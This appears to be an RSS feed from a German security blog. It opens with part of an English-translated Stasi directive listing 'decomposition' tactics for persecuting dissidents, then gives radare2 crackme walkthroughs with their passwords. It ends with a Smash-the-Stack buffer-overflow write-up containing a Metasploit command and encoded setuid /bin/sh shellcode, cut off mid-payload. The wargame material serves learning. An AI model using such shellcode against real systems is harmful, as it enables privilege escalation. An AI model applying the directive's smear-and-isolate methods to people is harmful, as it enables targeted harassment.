<p>preventing the effectivity of negative state-hostile organizations and groups,</p>
</li>
<li>
<p>confinement of the effectivity of politically decomposing opinions e.g. of harmful actions</p>
</li>
<li>
<p>against leaders and backers of state-hostile action on operative grounds</p>
</li>
</ul>
</li>
<li>
<p>against people, groups, and organizations, whose activities emanate from the dissemination
e.g. promotion of political-ideological diversion and other decomposition measures against the GDR</p>
</li>
</ul>
<hr>
<p>2.6.2. Forms, devices and methods of decoposition</p>
<p>The choice of decomposition measures to be performed dependent on the individual subject,
the aim and the exact assessment of achieved results in the respective operational process.</p>
<p>approved methods of decomposition are:</p>
<ul>
<li>
<p>the systematic discrediting of reputation due to spreading of true, checkable,
discrediting statements and wrong but believable, non deniable, discrediting statements.</p>
</li>
<li>
<p>the systematic organisation of jobwise and social failures for destroying any self confidence of individual subjects.</p>
</li>
<li>
<p>the focused destruction of convictions associated with certain ideals,
role models etc and the creating of doubts about the personal angle.</p>
</li>
<li>
<p>the creation of mistrust and mutual suspicion in groups and organisations.</p>
</li>
<li>
<p>the creation, exploitation and reinforcement of rivalry in groups and
organizations due to aimed exploitation of weaknesses from certain members.</p>
</li>
<li>
<p>the keeping of organizations and groups busy with their internal problems with the aim to stop negative hostile-actions.</p>
</li>
<li>
<p>local and temporal prevention and restriction of mutual relationships of
group/organization members due to legal actions like workplace binding and assignment of remotely located workplaces.</p>
</li>
</ul>
<p>In the implementation of decomposition measures are primarily reliable and approved &ldquo;inofficial personell&rdquo; to choose.
[ see also &ldquo;Inoffizielle Mitarbeiter (IM) ]</p>
<p>approved methods of decomposition are:</p>
<ul>
<li>
<p>the deployment of inofficial personell as courier, confidant of the groupleader, supervisor,
official of cognizance out of the operations area, other contactpersons etc.</p>
</li>
<li>
<p>Use of anonymous or pseudonymous letters, telegrams, phone calls etc.
compromising photos of e.g. real or faked meetings.</p>
</li>
<li>
<p>focused spreading of rumors about targeted individuals, a group, groups or organization.</p>
</li>
<li>
<p>focused indiscretion or fake of deconspiration of defense measurements of the Ministry for National Security</p>
</li>
<li>
<p>order to questioning of people at state ministries or social organizations under believable or unbelievable reasoning</p>
</li>
</ul>
<p>These measures and methods have to be adapted, differ, enhance, develop and used depending on the current operational status.</p>
<p>2.6.3 The approach of elaboration and execution of decomposition measures</p>
<p>Requirement and basis for the elaboration of effective decomposition measures is the thorough
analysis of the operative process, especially to carve out appropriate connections,
such as existing contradictions, differences and accordingly of compromising material.</p>
<p>The exact definition of the concrete goal of the decomposition measures need to be carried out on the basis of the analysis&rsquo; results.</p>
<p>According to the defined goal, the thorough preparation and planning of the decomposition measures have to be performed.
In the preparation - insofar as necessary - ensuring the conspiracy,
the deployed inofficial personell of the respective operative process need to be included.</p>
<p>The plans for execution of decomposition measures require the affirmation by
the head of the main/autonomous devision or district/main administration respectively.</p>
<p>Plans for execution of decomposition measures against:</p>
<ul>
<li>
<p>organisations, groups, groupings or single persons in the operating field [area]</p>
</li>
<li>
<p>people in prominent, central, social positions or with international or massive influence respectively</p>
</li>
<li>
<p>as well as in other political operative cases of particular importance</p>
</li>
</ul>
<p>are to be submitted to me or my deputy in charge for affirmation.</p>
<p>The execution of measures of decomposition must be consistent and strict.
This includes the constantly inofficial check of the results and effects. The effects must be documented accurately.
Depending on political-operational needs, further political-operative controlling measures have to be ordered and forced.</p>
]]></content></item><item><title>Reverse-Engineering mit radare2 - Teil 3</title><link>https://shibumi.dev/posts/reverse-engineering-3/</link><pubDate>Sat, 28 Feb 2015 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/reverse-engineering-3/</guid><description>Hier die dritte Runde von meinem kleinen crackme-special. Die crackmes findet ihr hier:
http://www.nullday.de/img/crackme.tar.gz
Level7 Bei Level7 schreckt man Anfang vielleicht etwas zusammen. Weil man recht schnell feststellt, dass in der binaries keine symbols sind. Das liegt daran, dass die binary gestripped worden ist. &amp;lsquo;gestripped&amp;rsquo; bedeutet, dass alle Symbole aus der binary entfernt worden sin. Dies spart plattenplatz und erhöht die Ausführungsgeschwindigkeit. Eine Menge systemwichtiger binaries zb cp oder ls liegen gestripped vor.</description><content type="html"><![CDATA[<p>Hier die dritte Runde von meinem kleinen crackme-special. Die crackmes findet
ihr hier:</p>
<p><a href="/img/crackme.tar.gz">http://www.nullday.de/img/crackme.tar.gz</a></p>
<h2 id="level7">Level7</h2>
<p>Bei Level7 schreckt man Anfang vielleicht etwas zusammen. Weil man recht schnell
feststellt, dass in der binaries keine symbols sind. Das liegt daran, dass die
binary gestripped worden ist. &lsquo;gestripped&rsquo; bedeutet, dass alle Symbole aus der
binary entfernt worden sin. Dies spart plattenplatz und erhöht die
Ausführungsgeschwindigkeit. Eine Menge systemwichtiger binaries zb <code>cp</code> oder
<code>ls</code> liegen gestripped vor. Ob eine binary gestripped worden ist oder nicht,
kann man mit dem <code>file</code> command überprüfen:</p>
<p>crackme0x07: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9,
stripped</p>
<p>Wie man sehen kann liegt Level7 also stripped vor. Dies erschwert uns etwas,
dass Reverse Engineering aber macht es bei weitem nicht unmöglich. Da die binary
gestripped ist können wir kein <code>pdf@sym.main</code> in radare2 benutzen um die main
Methode zu disassemblieren. Wir schauen uns also einfach den <code>entry-point</code> via
<code>pd</code> an:</p>
<p><img src="/img/crackme-level0x71.png" alt="level7">
<img src="/img/crackme-level0x72.png" alt="level7">
<img src="/img/crackme-level0x73.png" alt="level7">
<img src="/img/crackme-level0x74.png" alt="level7">
<img src="/img/crackme-level0x75.png" alt="level7">
<img src="/img/crackme-level0x76.png" alt="level7"></p>
<p>Das scheint eine Menge zusammenhangloser Code zu sein. Räumen wir also mal auf.
Wir können mit dem Befehl <code>af+ &lt;offset&gt; &lt;size&gt; &lt;func name&gt;</code> neue Funktionen
erstellen. Fangen wir also mal mit der Main-Methode an. Radare war bereits schon
so freundlich und hat uns die main-Funktion markiert. Wir müssen nur nach einem
<code>;-- main</code> suchen. Dies ist unser Kandidat für die main-Funktion. Wir nehmen
also den Offset vom Anfang und subtrahieren diesen vom Offset+1 vom <code>ret</code> von der
Main-Funktion und schon haben wir die Größe der Main-Funktion. Danach können wir
den Rahmen der Funktionen bauen via <code>af+ 0x0804867d 99 main</code>. Hier ist das
fertige Ergebnis:</p>
<p><img src="/img/crackme-level0x77.png" alt="level7"></p>
<p>Die Main-Funktion scheint sich nicht weit verändert zu haben. Alles was passiert
ist, ist bei Offset <code>0x080486d4</code>. Dort fehlt natürlich wegen dem stripping der
Funktionsname <code>sym.check</code>. Schauen wir uns diese Funktion mal an und passen die
auch gleich mal an:</p>
<p><img src="/img/crackme-level0x78.png" alt="level7">
<img src="/img/crackme-level0x79.png" alt="level7"></p>
<p>Anscheinend gibt es noch mehr Functions. Versuchen wir diese also auch mal zu
identifizieren. Dies hier scheint unsere <code>parell</code>-Funktion zu sein:</p>
<p><img src="/img/crackme-level0x711.png" alt="level7"></p>
<p>Das hier ist unsere <code>dummy</code>-Funktion:</p>
<p><img src="/img/crackme-level0x712.png" alt="level7"></p>
<p>Und das hier scheint eine Art <code>exit</code>-Funktion zu sein:</p>
<p><img src="/img/crackme-level0x713.png" alt="level7"></p>
<p>De facto handelt es sich also um unser crackme0x06 mit einigen Extra-Funktionen<br>
in gestrippter Version. Diese Extra-Funktionen scheinen nur in Funktionen
ausgelagerte Code-Abschnitte zu sein. Dennoch habe ich noch was hinzuzufügen.
Dieser Auszug aus der <code>parell</code>-Funktion scheint dennoch eine Funktion zu erfüllen.
Nicht wie im letzten Teil behauptet:</p>
<p><img src="/img/crackme-level0x714.png" alt="level7"></p>
<p>Es handelt sich dabei offenbar um eine Überprüfung wie lang die eingegeben Zahl
ist. Wenn sie länger als 9 Chars ist, ist die Eingabe nämlich ungültig. Dies
wollte ich nur nochmal anmerken.</p>
<h2 id="level8">Level8</h2>
<p>Da wir Level 7 nun endlich beendet haben widmen wir uns Level 8. Auch hier
scheint sich nicht viel verändert zu haben. Nur in der Funktion <code>check</code> scheint
es eine neue Funktion namens <code>che</code> zu geben. Schauen wir uns diese Funktion doch
mal an:</p>
<p><img src="/img/crackme-level0x81.png" alt="level8"></p>
<p>Bei der <code>che</code>-Funktion scheint es sich um nichts neues zu handeln. Es handelt
sich einfach nur um alten Code der in eine Funktion ausgelagert worden ist. Wir
haben ähnliches in crackme0x07 gesehen. Vermutlich ist das hier die ungestrippte
Version von crackme0x07. Wenn wir uns mal den Diff von den beiden binaries
ansehen sieht man auch gut, dass die beiden binaries sich ziemlich ähnlich sind.
Nur dass eine Version gestripped ist und die andere nicht:</p>
<p><img src="/img/crackme-level0x82.png" alt="level8"></p>
<p>Level 8 scheint also erledigt zu sein. Hier gelten die gleichen Bedingungen wie
in Level 7 und Level 6.</p>
<h2 id="level9">Level9</h2>
<p>Das letzte Level scheint ein komisches Verhalten an den Tag zu legen wenn die
ENV-Variable &ldquo;LOLO&rdquo; nicht gesetzt ist.</p>
<p><img src="/img/crackme-level0x91.png" alt="level9"></p>
<p>So wird das Programm entweder beendet mit Fehlerstatus 255 oder es gibt den
String &ldquo;Incorrect!&rdquo; aus wenn die Eingabe an sich falsch ist. Setzt man die
ENV-Variable &ldquo;LOLO&rdquo; aber scheint es genau das gleiche Programm zu sein wie zuvor.
Wenn man das programm mal mit gdb und PEDA durchgeht erhält man am Ende folgende Message:</p>
<p>&ldquo;[Inferior 1 (process 21285) exited with code 0377]&rdquo;</p>
<p>Die Funktion die überprüft ob &ldquo;LOLO&rdquo; vorhanden ist oder nicht ist diese hier:</p>
<p><img src="/img/crackme-level0x92.png" alt="level9"></p>
<p>Fazit: Die binary crackme0x09 scheint also den binaries zuvor ähnlich zu sein.
crackme0x09 reagiert allerdings deutlich agressiver wenn man die ENV-Variable
nicht setzt. Anstatt einfach nur ein &ldquo;Incorrect&rdquo; auszugeben wird das ganze
Programm mit Fehlercode beendet.</p>
]]></content></item><item><title>Reverse-Engineering mit radare2 - Teil 2</title><link>https://shibumi.dev/posts/reverse-engineering-2/</link><pubDate>Thu, 26 Feb 2015 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/reverse-engineering-2/</guid><description>Auf zur zweiten Runde mit dem Crackme. Hier nochmal der Downloadlink:
http://nullday.de/img/IOLI-crackme.tar.gz
Level4 Schauen wir uns die binary erstmal an was sie tut:
Der interessante Teil scheint in der sym.check function zu stehen. Schauen wir uns diese mal genauer an:
Wenn wir das ganze etwas kommentieren sieht sym.check so aus:
Wie man erkennen kann ist das entscheidende die Operation bei Offset 0x080484d6:cmp dword [ebp - 8], 0xf. Dort wird praktisch die Summe der Eingabe in Dezimalform mit 0xf (dec.</description><content type="html"><![CDATA[<p>Auf zur zweiten Runde mit dem Crackme. Hier nochmal der Downloadlink:</p>
<p><a href="/storage/IOLI-crackme.tar.gz">http://nullday.de/img/IOLI-crackme.tar.gz</a></p>
<h2 id="level4">Level4</h2>
<p>Schauen wir uns die binary erstmal an was sie tut:</p>
<p><img src="/img/crackme-level0x41.png" alt="level4"></p>
<p>Der interessante Teil scheint in der sym.check function zu stehen. Schauen wir
uns diese mal genauer an:</p>
<p><img src="/img/crackme-level0x42.png" alt="level4 check"></p>
<p>Wenn wir das ganze etwas kommentieren sieht sym.check so aus:</p>
<p><img src="/img/crackme-level0x43.png" alt="level4 commented"></p>
<p>Wie man erkennen kann ist das entscheidende die Operation bei Offset
<code>0x080484d6</code>:<code>cmp dword [ebp - 8], 0xf</code>. Dort wird praktisch die Summe der
Eingabe in Dezimalform mit 0xf (dec. 15) verglichen. Wir brauchen also nur eine
Eingabe dessen Quersumme 15 ergibt und wir sind durch:</p>
<p>Nehmen wir also einfach mal die Eingabe: 12345</p>
<p><img src="/img/crackme-level0x44.png" alt="level4 ende"></p>
<h2 id="level5">Level5</h2>
<p>Das fünfte Level scheint ähnlich dem Vierten zu sein. Hier ist die
check-Funktion des fünften Levels:</p>
<p><img src="/img/crackme-level0x51.png" alt="level5 anfang"></p>
<p>Das Erste was mir spontan einfällt ist der veränderte Wert an Offset
<code>0x0804851a</code>. Statt einem compare mit 15 machen wir nun einen mit 16.
Desweiteren fällt auf, dass wir danach nicht am Ende sind. Dieses mal scheint
eine Funktion namens <code>parell</code> aufgerufen zu werden anstatt nur ein printf.</p>
<p>Schauen wir uns diese Funktion mal an:</p>
<p><img src="/img/crackme-level0x52.png" alt="level5 dis"></p>
<p>Bei Offset <code>0x080484a4</code> wird ein Pointer mit unserer Eingabe nach eax
verschoben. Diese Eingabe wird dann via einem logischen AND mit dem Wert 1
verknüpft. Ist die Eingabe gerade kommt 0 raus, ist die Eingabe ungerade kommt
dabei 1 raus. Dieses Ergebnis wird danach in eax geschrieben. Beim Offset
<code>0x080484aa</code> wird dann getestet ob das Ergebnis 1 oder 0 ist. Ist es 1 würde das
Zero Flag (ZF) nicht gesetzt werden und via <code>jne 0x80484c6</code> wird ans Ende der
Funktion gesprungen. Ist es 0 wird das Zero Flag gesetzt und printf mit
&ldquo;Password OK&rdquo; und exit(0) werden aufgerufen. Was wir also benötigen ist eine
Eingabe die gerade ist <strong>und</strong> dessen Quersumme 16 ergibt.</p>
<h2 id="level6">Level6</h2>
<p>Im dritten Level scheint neben der <code>parell</code>-Funktion noch eine 3. Funktion
hinzugekommen zu sein. In der <code>parell</code>-Funktion finden wir nämlich eine Funktion
namens <code>dummy</code>.</p>
<p><img src="/img/crackme-level0x61.png" alt="level 6 anfang"></p>
<p>Ansonsten scheint sich nichts verändert zu haben. Es wird immer noch auf
Gerade/Ungerade überprüft. Es wurde nur eine weitere Funktion davor geschaltet
die sozusagen den Zugang zum interessanten Teil der <code>parell</code>-Funktion überprüft.
Schauen wir uns also mal die <code>dummy</code>-Funktion an:</p>
<p><img src="/img/crackme-level0x62.png" alt="level6 dummy"></p>
<p>Interessant ist Offset <code>0x080484cb</code> hier wird scheinbar die erste
ENVIRONMENT-Variable nach <code>eax</code> geladen. Bei Offset <code>0x080484ce</code> wird <code>[edx+eax]</code>
dann mit 0 verglichen. Anscheinend dient das dazu das Ende der Liste der
ENV-Variablen zu ermitteln. Falls das Ende erreicht ist wird direkt ans Ende
gesprungen und 0 an <code>[ebp-8]</code> geschrieben. Der Wert aus dieser Position wird
dann wiederum nach <code>eax</code> verschoben und die Funktion wird beendet. Der Wert aus
eax wird dann wiederum als Return-Wert zurück gegeben. Wenn die Funktion also 0
zurück gibt würde der anschließende Test in der <code>parell</code>-Funktion mit dem Zero
Flag ausfallen und das Program würde beendet werden ohne unseren &ldquo;Password
OK&rdquo;-String auszugeben. Was wir natürlich nicht wollen. Also müssen wir versuchen
der Funktion beizubringen, dass sie den Wert 1 zurück gibt. Interessant dafür
ist die Zeile bei Offset <code>0x080484ee</code> : <code>mov dword [esp + 4], str.LOLO</code>. Hier
wird der String &ldquo;LOLO&rdquo; auf eine Position auf den Stack geschoben. Kurze Zeit
danach wird strncmp aufgerufen. Diese Funktion vergleicht zwei Strings
miteinander. Wenn 0/False zurück gegeben wird sind die Strings nicht gleich,
wenn 1/True zurückgegeben wird sind die beiden Strings gleich. Anscheinend
brauchen wir also eine ENV-Variable mit dem Namen &ldquo;LOLO&rdquo;. Wenn wir diese
Variable setzen <strong>und</strong> einen Wert eingeben der ungerade ist sowie dessen
Quersumme 16 ergibt sind wir durch und haben es geschafft. Aber Moment, nach
unserer Funktion finden noch einige Vergleiche statt:</p>
<p><img src="/img/crackme-level0x63.png" alt="level6 vergleiche"></p>
<p>das <code>test eax, eax</code> und <code>je 0x8048586</code> prüft wie oben bereits erwähnt den
Return-Wert der <code>dummy</code>-Funktion. Wenn da eine 1 steht können wir passieren.
Aber danach wird eine 0 auf an eine Adresse auf den Stack geladen und diese 0
wird dann verglichen mit 9. Danach wird überprüft ob der Wert 9 größer als 0
ist. Scheint eine Art von unnötigem code zu sein um etwas Verwirrung zu stiften.
Das scheint auch nicht der einzige code mit der Aufgabe zu sein. Denn danach
findet noch ein Test statt. In <code>mov eax, dword [ebp - 4]</code> wird unsere Eingabe
geladen und mit 1 AND-verknüpft. Dies scheint der Test auf gerade/ungerade zu
sein. Wenn wir den also wie oben erwähnt passieren sind wir durch.</p>
<p>Die restlichen drei crackmes gibt es dann im nächsten Teil ;-). Happy Hacking.</p>
]]></content></item><item><title>Reverse-Engineering mit radare2 - Teil 1</title><link>https://shibumi.dev/posts/reverse-engineering-1/</link><pubDate>Mon, 23 Feb 2015 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/reverse-engineering-1/</guid><description>Nach langer Pause bin ich wieder zurück mit einem kleinen crackme. Ein Backup von dem crackme findet ihr unter:
http://www.nullday.de/img/IOLI-crackme.tar.gz
Als Werkzeug zum Reverse-Engineeren werde ich radare2 einsetzen. Also dann, Happy Hacking!
Level0 Schauen wir uns die binary erstmal an was sie tut:
Wie man sieht erwartet uns eine Passwort-Prompt. Schauen wir uns also mal standardmäßig als erstes die Strings an. Ist ja schließlich Level 1 ;-)
Und sie an wir haben das Passwort gefunden: 250382.</description><content type="html"><![CDATA[<p>Nach langer Pause bin ich wieder zurück mit einem kleinen crackme. Ein Backup
von dem crackme findet ihr unter:</p>
<p><a href="/storage/IOLI-crackme.tar.gz">http://www.nullday.de/img/IOLI-crackme.tar.gz</a></p>
<p>Als Werkzeug zum Reverse-Engineeren werde ich radare2 einsetzen.
Also dann, Happy Hacking!</p>
<h2 id="level0">Level0</h2>
<p>Schauen wir uns die binary erstmal an was sie tut:</p>
<p><img src="/img/crackme-level0x01.png" alt="level0"></p>
<p>Wie man sieht erwartet uns eine Passwort-Prompt. Schauen wir uns also mal
standardmäßig als erstes die Strings an. Ist ja schließlich Level 1 ;-)</p>
<p><img src="/img/crackme-level0x02.png" alt="level0 string"></p>
<p>Und sie an wir haben das Passwort gefunden: 250382.</p>
<p><img src="/img/crackme-level0x03.png" alt="level0 ende"></p>
<h2 id="level1">Level1</h2>
<p>Diesesmal scheinen wir schon nicht so leichtes Spiel zu haben:</p>
<p><img src="/img/crackme-level0x11.png" alt="level1 anfang"></p>
<p>Schauen wir uns also mal den Disassembly an:</p>
<p><img src="/img/crackme-level0x12.png" alt="level1 dis"></p>
<p>Was sofort auffällt ist der Vergleich an Offset <code>0x0804842b</code>. Wenn wir
das Level also in C-Code darstellen müssten, würde dieser ungefähr so
aussehen:</p>
<div class="highlight"><pre class="chroma"><code class="language-c" data-lang="c"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span><span class="cp"></span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">input</span><span class="p">;</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">&#34;IOLI Crackme Level 0x01</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Password: &#34;</span><span class="p">);</span>
  <span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">input</span><span class="p">);</span>
  <span class="c1">//hex(5274) == 0x149a
</span><span class="c1"></span>  <span class="k">if</span><span class="p">(</span><span class="n">input</span> <span class="o">==</span> <span class="mi">5274</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Password OK</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Invalid Password</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div><p>Das Passwort lautet also 5274.</p>
<p><img src="/img/crackme-level0x13.png" alt="level1 ende"></p>
<h2 id="level2">Level2</h2>
<p>Im zweiten Level ist die Sache wieder etwas komplizierter. Dieses mal wird vor
dem Vergleich wild umher gerechnet um die zu vergleichende Zahl etwas zu
verschleiern. Der entscheidende Part des Disassembly ist also der Teil nach dem
scanf-Aufruf.</p>
<p><img src="/img/crackme-level0x21.png" alt="level 2 anfang"></p>
<p>Die Lösung ist also 0x52b24 in dezimaler Form: 338724.</p>
<h2 id="level3">Level3</h2>
<p>Im dritten Level sehen wir ebenfalls wieder unser wildes umhergerechne. Der
Unterschied zu Level2 liegt allerdings in dem Funktions-Aufruf: <code>call sym.test</code>.
Vor dem Aufruf werden via <code>mov</code> unsere beiden Werte auf den Stack manövriert.
Schauen wir uns also mal <code>sym.test</code> an:</p>
<p><img src="/img/crackme-level0x31.png" alt="level3 sym.test"></p>
<p>Vor dem <code>cmp</code> sehen wir das unsere Eingabe an der Stelle <code>[ebp+0x8]</code> in das
Register <code>eax</code> geschoben wird. Danach wird bei Offset <code>0x8048477</code> der Wert in
Register <code>eax</code>, also unsere Eingabe, mit dem Wert 0x52b24 auf dem Stack
verglichen. Je nach dem wie das Ergebnis ausfällt wird gesprungen. Es hat sich
also nichts verändert. Das Passwort ist genau das Gleiche wie im Level zuvor.
Das einzige was sich verändert hat sind die Strings in der Binary. Diese wurden
diesesmal etwas obfuscated. Die Funktion <code>sym.shift</code> scheint die
&ldquo;verschlüsselten&rdquo; Strings zu &ldquo;entschlüsseln&rdquo;. Schauen wir uns diese spaßeshalber
auch mal an:</p>
<p><img src="/img/crackme-level0x32.png" alt="level3 sym.shift"></p>
<p>Entscheidend am disassembly ist das <code>sub al, 3</code> hier wird jeder Char im String
um den wert 0x3 dekrementiert. Die Funktion kann man sich so in C-Code
vorstellen:</p>
<div class="highlight"><pre class="chroma"><code class="language-c" data-lang="c"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span><span class="cp"></span>
<span class="kt">void</span> <span class="nf">shift</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">string</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">size_t</span> <span class="n">length</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">string</span><span class="p">);</span>
     <span class="n">size_t</span> <span class="n">i</span><span class="p">;</span>
     <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">length</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">string</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-=</span> <span class="mh">0x3</span><span class="p">;</span>
     <span class="p">}</span>
     <span class="n">printf</span><span class="p">(</span><span class="s">&#34;%s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">string</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">string1</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;Lqydolg_Sdvvzrug&#34;</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">string2</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;Sdvvzrug_RN&#34;</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;%s = &#34;</span><span class="p">,</span> <span class="n">string1</span> <span class="p">);</span>
    <span class="n">shift</span><span class="p">(</span><span class="n">string1</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;%s = &#34;</span><span class="p">,</span> <span class="n">string2</span> <span class="p">);</span>
    <span class="n">shift</span><span class="p">(</span><span class="n">string2</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div><p>Wenn man dies nun ausführt, sieht das Ergebnis so aus:</p>
<p><img src="/img/crackme-level0x33.png" alt="level3 decoded string"></p>
<p>Den Rest gibt es dann im zweiten Teil. Stay tuned ;-)</p>
]]></content></item><item><title>Smash the Stack 5</title><link>https://shibumi.dev/posts/smash-the-stack-5/</link><pubDate>Fri, 17 Oct 2014 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/smash-the-stack-5/</guid><description>Herzlich willkommen zurück zu Smash-the-Stack Level5. Dieses mal widmen wir uns folgendem C-Sourcecode (level05.c) :
#include &amp;lt;stdio.h&amp;gt;#include &amp;lt;string.h&amp;gt; int main(int argc, char **argv) { char buf[128]; if(argc &amp;lt; 2) return 1; strcpy(buf, argv[1]); printf(&amp;#34;%s\n&amp;#34;, buf); return 0; } Wie unschwer zu erkennen ist sieht das wieder verdammt nach einem guten alten Buffer-Overflow aus. Als erstes wird ein Char-Buffer mit 128 bytes als Festgröße intialisiert. Danach wird die Anzahl der Argumente überprüft.</description><content type="html"><![CDATA[<p>Herzlich willkommen zurück zu Smash-the-Stack Level5. Dieses mal widmen wir uns folgendem C-Sourcecode (level05.c) :</p>
<div class="highlight"><pre class="chroma"><code class="language-c" data-lang="c"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span><span class="cp"></span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
    <span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="n">strcpy</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;%s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>	
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div><p>Wie unschwer zu erkennen ist sieht das wieder verdammt nach einem guten alten Buffer-Overflow aus. Als erstes wird ein Char-Buffer mit 128 bytes als Festgröße intialisiert. Danach wird die Anzahl der Argumente überprüft. Wird kein Argument übergeben wird das Programm mit dem Returnwert 1 beendet. Nun wird mit der Funktion <code>strcpy</code> das erste Argument in den Buffer kopiert. Dieser Buffer wird dann ausgegeben und das Programm wird mit Returnwert 0 beendet.</p>
<p>Wie wir beim Sourcecode von level05.c sehen haben wir diesesmal keine extra-Funktion die eine Shell für uns spawnt. Also müssen wir dies diesesmal erledigen. Zum Generieren des nötigen Shellcodes nutze ich einige tolle Funktionen von <code>Metasploit</code>. <code>Metasploit</code> ist ein Framework zur Entwicklung und Ausführung von stabilen Exploits. Generieren wir uns also erstmal nötigen Shellcode. Dafür nutze ich bei mir lokal auf der Angreifer-Maschinen folgenden Befehl:</p>
<p><code>ruby-1.9 msfpayload linux/x86/exec cmd=/bin/sh PrependSetresuid=true R|ruby-1.9 msfencode -e x86/shikata_ga_nai -b '\x04'</code></p>
<p><code>msfpayload</code> ist ein in der Programmiersprache <code>Ruby</code> geschriebener Payload-Generator. Der Payload ist der Schadcode der bei dem Exploit ausgeführt wird. Als Ziel-Architektur haben wir den Parameter <code>linux/x86/exec</code> gesetzt. Das heißt <code>mfspayload</code> wird einen Payload für eine 32bit Linux-Maschine generieren. Als Kommando setzen wir <code>/bin/sh</code>. Der Payload tut also nichts weiteres als <code>/bin/sh</code> ausführen. Das <code>PrependSetresuid</code> setzt die richtige real user id im shellcode. Das &ldquo;R&rdquo; steht für &ldquo;Raw&rdquo;. Wir generieren also rohen Shellcode. Der Strich nach dem R ist eine Pipe. Damit pipen wir den Output von msfpayload nach msfencode und entfernen die Escapesequenz &ldquo;\x04&rdquo;. &ldquo;\x04&rdquo; ist die Escape-Sequenz für EOT ( End of Transmission ) welcher mir im Shellcode einige Probleme bereitete. Andere nicht gewollte Escape-Sequenzen haben wir zum Glück nicht im Shellcode. So könnte zb die Escape-Sequenz: &ldquo;\x00&rdquo; dafür sorgen, dass der Payload nicht vollständig in den Buffer kopiert wird da <code>strcpy</code> denkt dort wäre der String zu Ende. &ldquo;\x00&rdquo; nennt man auch &ldquo;Null-Terminator&rdquo; und ist sowas wie das Symbol für &ldquo;Hier ist der String zu Ende&rdquo;. Außerdem spezifizieren wir mit dem &ldquo;-e&rdquo; Parameter den richtigen Encoder. Wenn man diese Option vergisst benutzt msfencode gerne mal Powershell_base64 als default encoder was zu fehlerhaften shellcode auf linux Systemen führt. Der Output von msfpayload bzw msfencode sieht bei mir so aus:</p>
<pre><code>[*] x86/shikata_ga_nai succeeded with size 80 (iteration=1)

buf = 
&quot;\xd9\xce\xd9\x74\x24\xf4\x5e\x2b\xc9\xba\x52\x33\x98\x84&quot; +
&quot;\xb1\x0e\x31\x56\x18\x83\xee\xfc\x03\x56\x46\xd1\x6d\xb5&quot; +
&quot;\xaf\x24\x55\x41\xcc\xf7\xcd\x63\x92\x92\x06\x24\x0b\x30&quot; +
&quot;\x7f\xbc\x06\xd6\xf6\xdb\x30\x37\x7a\x4c\xc0\x2f\x53\xee&quot; +
&quot;\xa9\xc1\x22\x0d\x7b\xf6\x3d\xd2\x7b\x06\x11\xb0\x12\x68&quot; +
&quot;\x42\x47\x8c\x74\xcb\xf4\xc5\x94\x3e\x7a&quot;
